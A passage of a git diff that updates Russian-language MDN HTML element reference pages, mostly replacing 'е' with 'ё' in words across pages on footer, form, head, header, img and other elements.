элемент <code><footer></code>.</li> - <li>Элемент <code><footer></code> не относится к секционному контенту, а значит не создает новый раздел в <a href="/ru/docs/Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document" title="Разделы и структура документа HTML5">структуре HTML-документа</a>.</li> + <li>Элемент <code><footer></code> не относится к секционному контенту, а значит не создаёт новый раздел в <a href="/ru/docs/Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document" title="Разделы и структура документа HTML5">структуре HTML-документа</a>.</li> </ul> <h2 id="Примеры">Примеры</h2> diff --git a/files/ru/web/html/element/form/index.html b/files/ru/web/html/element/form/index.html index 070dc37cc3..f826d9ed93 100644 --- a/files/ru/web/html/element/form/index.html +++ b/files/ru/web/html/element/form/index.html @@ -38,11 +38,11 @@ translation_of: Web/HTML/Element/form <dl> <dt>{{htmlattrdef("accept")}} {{HTMLVersionInline(4)}} {{obsolete_inline}}</dt> - <dd>Список типов содержимого, разделенных запятой, которые принимает сервер. + <dd>Список типов содержимого, разделённых запятой, которые принимает сервер. <div class="note"><strong>Примечание об использовании:</strong> Этот атрибут был удалён в HTML5 и его не следует больше использовать. Взамен, используйте <span class="st">{{htmlattrxref("accept", "input")}}</span> атрибут заданного {{HTMLElement("input")}} элемента.</div> </dd> <dt>{{htmlattrdef("accept-charset")}}</dt> - <dd>Разделенные пробелами <a href="/en-US/docs/Web/Guide/Localizations_and_character_encodings">символьные кодировки</a>, которые принимает сервер. Браузер использует их в том порядке, в котором они перечислены. Значение по умолчанию означает <a href="/en-US/docs/Web/HTTP/Headers/Content-Encoding">ту же кодировку что и у страницы</a>.<br> + <dd>Разделённые пробелами <a href="/en-US/docs/Web/Guide/Localizations_and_character_encodings">символьные кодировки</a>, которые принимает сервер. Браузер использует их в том порядке, в котором они перечислены. Значение по умолчанию означает <a href="/en-US/docs/Web/HTTP/Headers/Content-Encoding">ту же кодировку что и у страницы</a>.<br> (В предыдущей версии HTML, различные кодировки могли быть разделены запятыми.)</dd> <dt>{{htmlattrdef("action")}}</dt> <dd>URI-адрес программы, которая обрабатывает информацию переданную через форму. Это значение может быть переписано с помощью атрибута {{htmlattrxref("formaction", "button")}} на {{HTMLElement("button")}} или {{HTMLElement("input")}} элементе.</dd> diff --git a/files/ru/web/html/element/head/index.html b/files/ru/web/html/element/head/index.html index d3b60218c1..21fa32018b 100644 --- a/files/ru/web/html/element/head/index.html +++ b/files/ru/web/html/element/head/index.html @@ -26,7 +26,7 @@ translation_of: Web/HTML/Element/head <td>Отсутствуют.</td> </tr> <tr> - <th scope="row">Разрешенное содержимое</th> + <th scope="row">Разрешённое содержимое</th> <td> <p>Если документ является документом {{HTMLElement("iframe")}} с атрибутом {{htmlattrxref("srcdoc", "iframe")}}, или если информация о заголовке доступна из протокола более высокого уровня (например, строки темы в электронном письме HTML), то ноль или более элементов содержащих метаданные.</p> @@ -43,7 +43,7 @@ translation_of: Web/HTML/Element/head <td>Элемент {{HTMLElement("html")}} (<code><head></code> является его первым дочерним элементом).</td> </tr> <tr> - <th scope="row">Разрешенные роли ARIA</th> + <th scope="row">Разрешённые роли ARIA</th> <td>Отсутствуют.</td> </tr> <tr> @@ -59,7 +59,7 @@ translation_of: Web/HTML/Element/head <dl> <dt>{{htmlattrdef("profile")}} {{obsolete_inline}}</dt> - <dd>{{glossary("URI")}} одного или более профилей метаданных, разделенных пробелами.</dd> + <dd>{{glossary("URI")}} одного или более профилей метаданных, разделённых пробелами.</dd> </dl> <h2 id="Пример">Пример</h2> @@ -90,7 +90,7 @@ translation_of: Web/HTML/Element/head <tr> <td>{{SpecName('HTML WHATWG', 'semantics.html#the-head-element', '<head>')}}</td> <td>{{Spec2('HTML WHATWG')}}</td> - <td>Нет изменений с последнего "snapshot" (состояние сохраненное в определенный момент времени)</td> + <td>Нет изменений с последнего "snapshot" (состояние сохранённое в определённый момент времени)</td> </tr> <tr> <td>{{SpecName('HTML5 W3C', 'document-metadata.html#the-head-element', '<head>')}}</td> diff --git a/files/ru/web/html/element/header/index.html b/files/ru/web/html/element/header/index.html index b9a383cc64..9aca0b1967 100644 --- a/files/ru/web/html/element/header/index.html +++ b/files/ru/web/html/element/header/index.html @@ -25,7 +25,7 @@ translation_of: Web/HTML/Element/header <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">Основной поток</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Явный_контент">явный контент</a>.</td> </tr> <tr> - <th scope="row">Разрешенное содержимое</th> + <th scope="row">Разрешённое содержимое</th> <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">Основной поток</a>, кроме <code><header></code> и {{HTMLElement("footer")}}</td> </tr> <tr> @@ -33,11 +33,11 @@ translation_of: Web/HTML/Element/header <td>Ни одного; Оба тега, открывающий и закрывающий, являются обязательными.</td> </tr> <tr> - <th scope="row">Разрешенные родительские элементы</th> + <th scope="row">Разрешённые родительские элементы</th> <td>Любой элемент, который разрешает <a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">контент основного потока</a> в качестве содержимого. Обратите внимание, что элемент <code><header></code> не должен быть потомком элемента {{HTMLElement("address")}}, {{HTMLElement("footer")}} или другого элемента <code><header></code>.</td> </tr> <tr> - <th scope="row">Разрешенные роли ARIA</th> + <th scope="row">Разрешённые роли ARIA</th> <td>{{ARIARole("group")}}, {{ARIARole("presentation")}}</td> </tr> <tr> @@ -49,7 +49,7 @@ translation_of: Web/HTML/Element/header <h2 id="Примечание">Примечание</h2> -<p>Элемент <code><header></code> не относится к секционному контенту , а значит не создает новый раздел в <a href="/ru/docs/Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document">структуре HTML-документа</a>. При этом элемент <code><header></code> обычно должен содержать заголовок ближайшего раздела (элементы <code>h1</code>-<code>h6</code>), но это <strong>не</strong> обязательно.</p> +<p>Элемент <code><header></code> не относится к секционному контенту , а значит не создаёт новый раздел в <a href="/ru/docs/Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document">структуре HTML-документа</a>. При этом элемент <code><header></code> обычно должен содержать заголовок ближайшего раздела (элементы <code>h1</code>-<code>h6</code>), но это <strong>не</strong> обязательно.</p> <h3 id="Историческое_употребление">Историческое употребление</h3> @@ -76,7 +76,7 @@ translation_of: Web/HTML/Element/header <h2>Планета Земля</h2> <p>Опубликовано в среду, 4 октября 2017, Джейн Смит</p> </header> - <p>Мы живем на сине-зеленой планете, на которой до сих пор так много неизведанного.</p> + <p>Мы живём на сине-зелёной планете, на которой до сих пор так много неизведанного.</p> <p><a href="https://janesmith.com/the-planet-earth/">Продолжить чтение...</a></p> </article> </pre> diff --git a/files/ru/web/html/element/heading_elements/index.html b/files/ru/web/html/element/heading_elements/index.html index 8917869d9f..9b7f70b0a6 100644 --- a/files/ru/web/html/element/heading_elements/index.html +++ b/files/ru/web/html/element/heading_elements/index.html @@ -12,7 +12,7 @@ translation_of: Web/HTML/Element/Heading_Elements <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Поток контента</a>, заголовок контента, явный контент.</td> </tr> <tr> - <th scope="row">Разрешенный контент</th> + <th scope="row">Разрешённый контент</th> <td><a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">Фразированное содержание</a>.</td> </tr> <tr> @@ -20,11 +20,11 @@ translation_of: Web/HTML/Element/Heading_Elements <td>{{no_tag_omission}}</td> </tr> <tr> - <th scope="row">Разрешенные родители</th> + <th scope="row">Разрешённые родители</th> <td>Любые элементы которые принимают <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Содержание потока</a>; не используй как дочерний {{HTMLElement("hgroup")}} элемент, сейчас он устарел</td> </tr> <tr> - <th scope="row">Разрешенные роли ДМИП</th> + <th scope="row">Разрешённые роли ДМИП</th> <td>{{ARIARole("tab")}}, {{ARIARole("presentation")}}</td> </tr> <tr> @@ -166,7 +166,7 @@ translation_of: Web/HTML/Element/Heading_Elements <h3 id="Содержание_раздела_маркировки">Содержание раздела маркировки</h3> -<p dir="ltr" id="tw-target-text">Другим распространенным методом навигации для пользователей программ чтения с экрана является создание списка содержимого секций и использование его для определения макета страницы.</p> +<p dir="ltr" id="tw-target-text">Другим распространённым методом навигации для пользователей программ чтения с экрана является создание списка содержимого секций и использование его для определения макета страницы.</p> <p dir="ltr" id="tw-target-text">Содержимое секционирования можно пометить, используя комбинацию <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute">aria-labelledby</a></code> и {{htmlattrxref("id")}} атрибута, с ярлыком, кратко описывающим назначение раздела. Этот метод полезен в ситуациях, когда на одной странице имеется более одного элемента секционирования.</p> @@ -189,7 +189,7 @@ translation_of: Web/HTML/Element/Heading_Elements </footer> </pre> -<p dir="ltr" id="tw-target-text">В этом примере технология чтения с экрана объявила бы, что есть два {{HTMLElement("nav")}} разделы, один называется «Основная навигация», а другой - «Нижний колонтитул». Если ярлыки не были предоставлены, человеку, использующему программное обеспечение для чтения с экрана, возможно, придется расследовать каждый <code>nav</code> содержание элемента, чтобы определить их назначение.</p> +<p dir="ltr" id="tw-target-text">В этом примере технология чтения с экрана объявила бы, что есть два {{HTMLElement("nav")}} разделы, один называется «Основная навигация», а другой - «Нижний колонтитул». Если ярлыки не были предоставлены, человеку, использующему программное обеспечение для чтения с экрана, возможно, придётся расследовать каждый <code>nav</code> содержание элемента, чтобы определить их назначение.</p> <ul> <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute">Использование атрибута aria-labelledby</a></li> diff --git a/files/ru/web/html/element/hgroup/index.html b/files/ru/web/html/element/hgroup/index.html index 029afcecdb..73d243817c 100644 --- a/files/ru/web/html/element/hgroup/index.html +++ b/files/ru/web/html/element/hgroup/index.html @@ -8,7 +8,7 @@ translation_of: Web/HTML/Element/hgroup <div></div> <div class="note"> -<p><strong>Примечание использования: </strong>Этот элемент был удален из HTML5 (W3C) спецификации , но до сих пор остается в спецификации WHATWG. Он частично встроен в большинство браузеров, хотя бы поэтому вряд ли уйдет. Поскольку схематический алгоритм не реализован ни в одном браузере, семантика тега <code><hgroup></code> на практике реализована только теоретически. Спецификация HTML5 (W3C) дает совет как обозначать <a href="http://www.w3.org/TR/html5/common-idioms.html#sub-head">подзаголовки, альтернативные заголовки и слоганы</a>.</p> +<p><strong>Примечание использования: </strong>Этот элемент был удалён из HTML5 (W3C) спецификации , но до сих пор остаётся в спецификации WHATWG. Он частично встроен в большинство браузеров, хотя бы поэтому вряд ли уйдёт. Поскольку схематический алгоритм не реализован ни в одном браузере, семантика тега <code><hgroup></code> на практике реализована только теоретически. Спецификация HTML5 (W3C) даёт совет как обозначать <a href="http://www.w3.org/TR/html5/common-idioms.html#sub-head">подзаголовки, альтернативные заголовки и слоганы</a>.</p> </div> <p>HTML <hgroup> Элемент (HTML Headings Group Element - Элемент Группы Заголовков HTML) представляет заголовок раздела. Он определяет один заголовок, который участвует в схеме документа как заголовок явно или неявно заданного раздела, к которому он принадлежит.</p> diff --git a/files/ru/web/html/element/hr/index.html b/files/ru/web/html/element/hr/index.html index 054c0923f2..708ea55022 100644 --- a/files/ru/web/html/element/hr/index.html +++ b/files/ru/web/html/element/hr/index.html @@ -52,15 +52,15 @@ translation_of: Web/HTML/Element/hr <dl> <dt>{{htmlattrdef("align")}} {{deprecated_inline}}</dt> - <dd>Задает правило выравнивания.По умолчанию значение выставлено как<strong> left</strong></dd> + <dd>Задаёт правило выравнивания.По умолчанию значение выставлено как<strong> left</strong></dd> <dt>{{htmlattrdef("color")}} {{Non-standard_inline}}</dt> - <dd>Задает цвет линии</dd> + <dd>Задаёт цвет линии</dd> <dt>{{htmlattrdef("noshade")}} {{deprecated_inline}}</dt> <dd>Sets the rule to have no shading.</dd> <dt>{{htmlattrdef("size")}} {{deprecated_inline}}</dt> <dd>Устанавливает высоту в px</dd> <dt>{{htmlattrdef("width")}} {{deprecated_inline}}</dt> - <dd>Задает длину линии в px либо в %</dd> + <dd>Задаёт длину линии в px либо в %</dd> </dl> <h2 id="Example">Example</h2> diff --git a/files/ru/web/html/element/html/index.html b/files/ru/web/html/element/html/index.html index 7b1b856947..2787e89b66 100644 --- a/files/ru/web/html/element/html/index.html +++ b/files/ru/web/html/element/html/index.html @@ -22,7 +22,7 @@ translation_of: Web/HTML/Element/html <td>Отсутствуют.</td> </tr> <tr> - <th scope="row">Разрешенное содержимое</th> + <th scope="row">Разрешённое содержимое</th> <td>Один элемент {{HTMLElement("head")}}, за которым следует один элемент {{HTMLElement("body")}}.</td> </tr> <tr> @@ -31,11 +31,11 @@ translation_of: Web/HTML/Element/html В {{glossary("HTML5")}} закрывающий тег может быть пропущен. В старых версиях HTML, если сразу за элементом <code><html></code> следует комментарий (при наличии элемента {{HTMLElement("body")}}), то закрывающий тег пропускать нельзя.</td> </tr> <tr> - <th scope="row">Разрешенные родительские элементы</th> + <th scope="row">Разрешённые родительские элементы</th> <td>Отсутствуют. Это корневой элемент документа.</td> </tr> <tr> - <th scope="row">Разрешенные роли ARIA</th> + <th scope="row">Разрешённые роли ARIA</th> <td>Отсутствуют.</td> </tr> <tr> @@ -55,7 +55,7 @@ translation_of: Web/HTML/Element/html <dt>{{htmlattrdef("version")}} {{obsolete_inline}}</dt> <dd>Определяет версию HTML DTD (Document Type Definition, больше известное как {{glossary("Doctype")}}), которая управляет текущим документом. Этот атрибут не нужен, потому что он является избыточным, так как есть информация, указываемая в объявлении типа документа.</dd> <dt>{{htmlattrdef("xmlns")}}</dt> - <dd>Определяет {{glossary("Namespace", "пространство имен")}} {{glossary("XHTML", "XHTML-документа")}}. Значение по умолчанию <code>"http://www.w3.org/1999/xhtml"</code>. Это требуется при {{glossary("parse", "парсинге")}} документов с помощью {{glossary("parser", "парсера")}} {{glossary("XML")}} и необязательно для документов <code>text/html</code>.</dd> + <dd>Определяет {{glossary("Namespace", "пространство имён")}} {{glossary("XHTML", "XHTML-документа")}}. Значение по умолчанию <code>"http://www.w3.org/1999/xhtml"</code>. Это требуется при {{glossary("parse", "парсинге")}} документов с помощью {{glossary("parser", "парсера")}} {{glossary("XML")}} и необязательно для документов <code>text/html</code>.</dd> </dl> <h2 id="Пример">Пример</h2> diff --git a/files/ru/web/html/element/img/index.html b/files/ru/web/html/element/img/index.html index 86e976ef18..a8434854db 100644 --- a/files/ru/web/html/element/img/index.html +++ b/files/ru/web/html/element/img/index.html @@ -23,7 +23,7 @@ translation_of: Web/HTML/Element/img <p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p> -<p>Приведенный выше пример показывает очень простое использование элемента <code><img></code>. Атрибут <code>src</code> обязателен и содержит путь к изображению, которое вы хотите встроить в документ. Атрибут <code>alt</code> содержит текстовое описание изображения, которое не обязательно, но невероятно полезно для доступности — программы чтения с экрана читают это описание своим пользователям, так они знают какое изображение показано, и так же оно отображается на странице, если изображение не может быть загружено по какой-либо причине.</p> +<p>Приведённый выше пример показывает очень простое использование элемента <code><img></code>. Атрибут <code>src</code> обязателен и содержит путь к изображению, которое вы хотите встроить в документ. Атрибут <code>alt</code> содержит текстовое описание изображения, которое не обязательно, но невероятно полезно для доступности — программы чтения с экрана читают это описание своим пользователям, так они знают какое изображение показано, и так же оно отображается на странице, если изображение не может быть загружено по какой-либо причине.</p> <p>Есть много других атрибутов, которые могут быть указаны для достижения различных целей, например:</p> @@ -40,7 +40,7 @@ translation_of: Web/HTML/Element/img <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Потоковый_контент">Потоковый контент</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content">фразовый контент</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Встроенный_контент">встроенный контент</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Явный_контент">явный контент</a>. Если элемент имеет атрибут <code>usemap</code>, он так же принадлежит к категории <a href="/ru/docs/Web/Guide/HTML/Content_categories#Интерактивный_контент">интерактивного контента</a>.</td> </tr> <tr> - <th scope="row">Разрешенное содержимое</th> + <th scope="row">Разрешённое содержимое</th> <td>Никакое, так как это {{Glossary("empty element", "пустой элемент")}}.</td> </tr> <tr> @@ -48,7 +48,7 @@ translation_of: Web/HTML/Element/img <td>Должен иметь открывающий тег и не должен иметь закрывающий.</td> </tr> <tr> - <th scope="row">Разрешенные родительские элементы</th> + <th scope="row">Разрешённые родительские элементы</th> <td>Любой элемент, который разрешает встроенный контент в качестве содержимого.</td> </tr> <tr> @@ -100,7 +100,7 @@ translation_of: Web/HTML/Element/img <dl> <dt>{{htmlattrdef("alt")}}</dt> <dd> - <p>Этим атрибутом задается альтернативное текстовое описание изображения.</p> + <p>Этим атрибутом задаётся альтернативное текстовое описание изображения.</p> <div class="note"> <p><strong>Заметка:</strong> Браузеры не всегда отображают изображение на которое ссылается элемент. Это относится к неграфическим браузерам (включая те, которые используются людьми с нарушениями зрения), если пользователь решает не отображать изображения, или если браузер не может отобразить изображение, потому что оно имеет неверный или <a href="#Supported_image_formats">неподдерживаемый тип</a>. В этих случаях браузер может заменить изображение текстом записанным в атрибуте <code>alt</code> элемента. По этим и другим причинам вы должны по возможности предоставлять полезное описание в атрибуте <code>alt</code>.</p> @@ -112,7 +112,7 @@ translation_of: Web/HTML/Element/img </dd> <dt>{{htmlattrdef("crossorigin")}}</dt> <dd> - <p>Этот атрибут указывает, следует ли использовать {{glossary("CORS")}} при загрузке изображения или нет. <a href="/en-US/docs/Web/HTML/CORS_enabled_image">Изображения с включенной поддержкой CORS</a> могут быть повторно использованы в элементе {{HTMLElement("canvas")}} не будучи "<a href="/en-US/docs/Web/HTML/CORS_enabled_image#Security_and_tainted_canvases">испорченными</a>". Допустимые значения:</p> + <p>Этот атрибут указывает, следует ли использовать {{glossary("CORS")}} при загрузке изображения или нет. <a href="/en-US/docs/Web/HTML/CORS_enabled_image">Изображения с включённой поддержкой CORS</a> могут быть повторно использованы в элементе {{HTMLElement("canvas")}} не будучи "<a href="/en-US/docs/Web/HTML/CORS_enabled_image#Security_and_tainted_canvases">испорченными</a>". Допустимые значения:</p> <ul> <li><code>anonymous</code>: Запрос cross-origin (т.е. с HTTP-заголовком {{httpheader("Origin")}}) выполняется, но параметры доступа не передаются (т.е. нет {{glossary("cookie")}}, не используется <a class="external" href="https://tools.ietf.org/html/rfc5280">стандарт X.509</a> или базовая HTTP-аутентификация). Если сервер не предоставляет параметры доступа исходному сайту (не устанавливая HTTP-заголовок {{httpheader("Access-Control-Allow-Origin")}}), изображение будет "<a href="/en-US/docs/Web/HTML/CORS_enabled_image#Security_and_tainted_canvases">испорчено</a>" и его использование будет ограничено;</li> @@ -150,7 +150,7 @@ translation_of: Web/HTML/Element/img <p>Это атрибут логического типа, указывающий, что изображение является частью серверной карты ссылок. Если это так, то точные координаты клика отправляются на сервер.</p> <div class="note"> - <p><strong>Заметка:</strong> Этот атрибут разрешен, только если элемент <code><img></code> является потомком элемента {{htmlelement("a")}} с валидным (соответствующий требованиям) атрибутом {{htmlattrxref("href","a")}}.</p> + <p><strong>Заметка:</strong> Этот атрибут разрешён, только если элемент <code><img></code> является потомком элемента {{htmlelement("a")}} с валидным (соответствующий требованиям) атрибутом {{htmlattrxref("href","a")}}.</p> </div> </dd> <dt>{{htmlattrdef("referrerpolicy")}} {{experimental_inline}}</dt> @@ -161,16 +161,16 @@ translation_of: Web/HTML/Element/img <li><code>no-referrer</code>: Заголовок {{httpheader("Referer")}} не будет отправлен;</li> <li><code>no-referrer-when-downgrade</code>: Заголовок {{httpheader("Referer")}} не отправляется, когда происходит переход к источнику без {{glossary("TLS")}} ({{glossary("HTTPS")}}). Это поведение по умолчанию для {{glossary("user agent", "пользовательских агентов")}}, если не указано иное;</li> <li><code>origin</code>: Заголовок {{httpheader("Referer")}} будет содержать схему адресации ресурса (HTTP, HTTPS, {{glossary("FTP")}} и т.д), {{glossary("host", "хост")}} и {{glossary("port", "порт")}};</li> - <li><code>origin-when-cross-origin</code>: Переход на другие источники ограничит включенные реферальные данные схемой адресации ресурса, {{glossary("host", "хостом")}} и {{glossary("port", "портом")}}, в то время как переход из того же источника будет включать полный путь реферала;</li> - <li><code>unsafe-url</code>: Заголовок {{httpheader("Referer")}} будет включать источник и путь, но не фрагмент {{glossary("URL")}}, пароль или имя пользователя. Этот метод небезопасен, потому что будет утечка источников и путей от ресурсов, защищенных {{glossary("TLS")}}, к незащищенным источникам.</li> + <li><code>origin-when-cross-origin</code>: Переход на другие источники ограничит включённые реферальные данные схемой адресации ресурса, {{glossary("host", "хостом")}} и {{glossary("port", "портом")}}, в то время как переход из того же источника будет включать полный путь реферала;</li> + <li><code>unsafe-url</code>: Заголовок {{httpheader("Referer")}} будет включать источник и путь, но не фрагмент {{glossary("URL")}}, пароль или имя пользователя. Этот метод небезопасен, потому что будет утечка источников и путей от ресурсов, защищённых {{glossary("TLS")}}, к незащищённым источникам.</li> </ul> </dd> <dt>{{htmlattrdef("sizes")}}</dt> <dd> - <p>Список из одного или нескольких строк, разделенных запятыми, указывающих набор размеров источника. Каждый размер источника состоит из:</p> + <p>Список из одного или нескольких строк, разделённых запятыми, указывающих набор размеров источника. Каждый размер источника состоит из:</p> <ol> - <li>Условия меда-запроса. Оно должно быть пропущено для последнего элемента.</li> + <li>Условия мёда-запроса. Оно должно быть пропущено для последнего элемента.</li> <li>Значения размера источника.</li> </ol> @@ -180,13 +180,13 @@ translation_of: Web/HTML/Element/img <dd>{{glossary("URL")}} изображения. Этот атрибут является обязательным для элемента <code><img></code>. В браузерах, поддерживающих <code>srcset</code>, <code>src</code> обрабатывается как изображение-кандидат с дескриптором плотности пикселей <code>1x</code>, если только изображение с этим дескриптором уже не определено в <code>srcset</code> или если <code>srcset</code> не содержит дескрипторы '<code>w</code>'.</dd> <dt>{{htmlattrdef("srcset")}}</dt> <dd> - <p>Список из одной или нескольких строк, разделенных запятыми, указывающих набор возможным источников изображения для использования {{glossary("user agent", "пользовательскими агентами")}}. Каждая строка состоит из:</p> + <p>Список из одной или нескольких строк, разделённых запятыми, указывающих набор возможным источников изображения для использования {{glossary("user agent", "пользовательскими агентами")}}. Каждая строка состоит из:</p> <ol> <li>{{glossary("URL")}} изображения.</li> <li>Необязательного, пробела, сопровождаемого: <ul> - <li>дескриптором ширины или положительным целым числом, за которым сразу же следует '<code>w</code>'. Дескриптор ширины делится на размер источника, полученный из атрибута <code>sizes</code>, для расчета эффективной плотности пикселей;</li> + <li>дескриптором ширины или положительным целым числом, за которым сразу же следует '<code>w</code>'. Дескриптор ширины делится на размер источника, полученный из атрибута <code>sizes</code>, для расчёта эффективной плотности пикселей;</li> <li>дескриптором плотности пикселей, который является положительным числом с плавающей точкой за которым сразу же следует '<code>x</code>'.</li> </ul> </li> @@ -196,7 +196,7 @@ translation_of: Web/HTML/Element/img <p>Нельзя смешивать дескрипторы ширины с дескрипторами плотности пикселей в одном атрибуте <code>srcset</code>. Повторение дескрипторов (например, два источника в одном <code>srcset</code> с одинаковым дескриптором '<code>2x</code>') так же является недопустимым.</p> - <p>{{glossary("user agent", "Пользовательские агенты")}} выбирают любой из доступных источников на свое усмотрение. Это предоставляет им значительную свободу действий для адаптации их выбора на основе таких вещей, как предпочтения пользователя или {{glossary("bandwidth", "пропускная способность")}}. Смотрите наше руководство "<a href="/ru/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">Адаптивные изображения</a>" для примера.</p> + <p>{{glossary("user agent", "Пользовательские агенты")}} выбирают любой из доступных источников на своё усмотрение. Это предоставляет им значительную свободу действий для адаптации их выбора на основе таких вещей, как предпочтения пользователя или {{glossary("bandwidth", "пропускная способность")}}. Смотрите наше руководство "<a href="/ru/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">Адаптивные изображения</a>" для примера.</p> </dd> <dt>{{htmlattrdef("width")}}</dt> <dd>Внутренняя ширина (см. {{glossary("intrinsic size", "Внутренний размер")}}) изображения в пикселях.</dd> @@ -234,7 +234,7 @@ translation_of: Web/HTML/Element/img <p>Ссылка на более подробное описание изображения. Возможными значениями являются {{glossary("URL")}} или {{htmlattrxref("id")}} элемента.</p> <div class="note"> - <p><strong>Заметка:</strong> Этот атрибут упомянут в последней версии от {{glossary("W3C")}}, <a class="external" href="https://www.w3.org/TR/html52/obsolete.html#element-attrdef-img-longdesc">HTML 5.2</a>, но был удален из <a class="external" href="https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element">живого стандарта HTML</a> от {{glossary("WHATWG")}}. У него неопределенное будущее; авторы должны использовать альтернативы {{glossary("WAI")}}-{{glossary("ARIA")}}, такие как <a class="external" href="https://www.w3.org/TR/wai-aria-1.1/#aria-describedby">aria-describedby</a> или <a class="external" href="https://www.w3.org/TR/wai-aria-1.1/#aria-details">aria-details</a>.</p> + <p><strong>Заметка:</strong> Этот атрибут упомянут в последней версии от {{glossary("W3C")}}, <a class="external" href="https://www.w3.org/TR/html52/obsolete.html#element-attrdef-img-longdesc">HTML 5.2</a>, но был удалён из <a class="external" href="https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element">живого стандарта HTML</a> от {{glossary("WHATWG")}}. У него неопределённое будущее; авторы должны использовать альтернативы {{glossary("WAI")}}-{{glossary("ARIA")}}, такие как <a class="external" href="https://www.w3.org/TR/wai-aria-1.1/#aria-describedby">aria-describedby</a> или <a class="external" href="https://www.w3.org/TR/wai-aria-1.1/#aria-details">aria-details</a>.</p> </div> </dd> <dt>{{htmlattrdef("name")}} {{Obsolete_Inline}}</dt> @@ -306,7 +306,7 @@ translation_of: Web/HTML/Element/img <h3 id="Создание_значимых_альтернативных_описаний">Создание значимых альтернативных описаний</h3> -<p>Значение атрибута <code>alt</code> должно четко и кратко описывать содержимое изображения. Он не должен описывать наличие самого изображения или название файла изображения. Если атрибут <code>alt</code> намеренно пропущен, потому что изображение не имеет текстового эквивалента, рассмотрите альтернативные способы представления содержимого, которое изображение пытается передать.</p> +<p>Значение атрибута <code>alt</code> должно чётко и кратко описывать содержимое изображения. Он не должен описывать наличие самого изображения или название файла изображения. Если атрибут <code>alt</code> намеренно пропущен, потому что изображение не имеет текстового эквивалента, рассмотрите альтернативные способы представления содержимого, которое изображение пытается передать.</p> <h4 id="Плохо">Плохо</h4> diff --git a/files/ru/web/html/element/index.html b/files/ru/web/html/element/index.html index 2fe4bfa7e7..2e960c4e4e 100644 --- a/files/ru/web/html/element/index.html +++ b/files/ru/web/html/element/index.html @@ -33,7 +33,7 @@ translation_of: Web/HTML/Element <h2 id="Текстовое_содержание" style="line-height: 30px; font-size: 2.14285714285714rem;"><span class="short_text" id="result_box" lang="ru"><span class="hps">Текстовое содержание</span></span></h2> <div id="gt-src-tools"> -<div id="tts_button"><span id="result_box" lang="ru"><span class="hps">Используйте</span> текстовые <span class="hps">элементы</span> <span class="hps">HTML для</span> <span class="hps">организации</span> <span class="hps">блоков</span> <span class="hps">или разделов</span> <span class="hps">содержания</span><span>, размещенные</span> <span class="hps">между тегами открытия</span> <span class="atn hps"><</span><span>body></span> <span class="hps">и закрытия</span> <span class="atn hps"><</span><span>/</span><span>body></span><span>.</span> <span class="hps">Важное значение для</span> <span class="atn hps">{{Glossary("accessibility")}}</span> <span class="hps">и</span> <span class="atn hps">{{Glossary("SEO")}}</span><span>,</span><span class="hps"> чтобы эти элементы</span><span class="hps"> определили</span> <span class="hps">цель или</span> <span class="hps">структуру</span> <span class="hps">этого контента</span><span>.</span></span></div> +<div id="tts_button"><span id="result_box" lang="ru"><span class="hps">Используйте</span> текстовые <span class="hps">элементы</span> <span class="hps">HTML для</span> <span class="hps">организации</span> <span class="hps">блоков</span> <span class="hps">или разделов</span> <span class="hps">содержания</span><span>, размещённые</span> <span class="hps">между тегами открытия</span> <span class="atn hps"><</span><span>body></span> <span class="hps">и закрытия</span> <span class="atn hps"><</span><span>/</span><span>body></span><span>.</span> <span class="hps">Важное значение для</span> <span class="atn hps">{{Glossary("accessibility")}}</span> <span class="hps">и</span> <span class="atn hps">{{Glossary("SEO")}}</span><span>,</span><span class="hps"> чтобы эти элементы</span><span class="hps"> определили</span> <span class="hps">цель или</span> <span class="hps">структуру</span> <span class="hps">этого контента</span><span>.</span></span></div> <div> </div> </div> diff --git a/files/ru/web/html/element/input/button/index.html b/files/ru/web/html/element/input/button/index.html index 984fa13988..cd540ba599 100644 --- a/files/ru/web/html/element/input/button/index.html +++ b/files/ru/web/html/element/input/button/index.html @@ -68,7 +68,7 @@ translation_of: Web/HTML/Element/input/button <h3 id="Простая_кнопка">Простая кнопка</h3> -<p>Мы начнем с создания простой кнопки с обработчиком события {{event("click")}} , который запускает наш компьютер (ну, он переключает <code>value</code> кнопки и текстовое содержимое следующего абзаца):</p> +<p>Мы начнём с создания простой кнопки с обработчиком события {{event("click")}} , который запускает наш компьютер (ну, он переключает <code>value</code> кнопки и текстовое содержимое следующего абзаца):</p> <pre class="brush: html"><form> <input type="button" value="Запустить ПК"> diff --git a/files/ru/web/html/element/input/color/index.html b/files/ru/web/html/element/input/color/index.html index 0dcdf05619..8a27bf8d8b 100644 --- a/files/ru/web/html/element/input/color/index.html +++ b/files/ru/web/html/element/input/color/index.html @@ -16,7 +16,7 @@ translation_of: Web/HTML/Element/input/color --- <div>{{HTMLRef}}</div> -<p><span class="seoSummary">{{HTMLElement("input")}} элементы типа <strong><code>color</code></strong> предоставляют элемент пользовательского интерфейса, который позволяет пользователю указать цвет либо с помощью визуального интерфейса выбора цвета, либо путем ввода цвета в текстовое поле в шестнадцатеричном формате #rrggbb. Разрешены только простые цвета (без альфа-канала), хотя 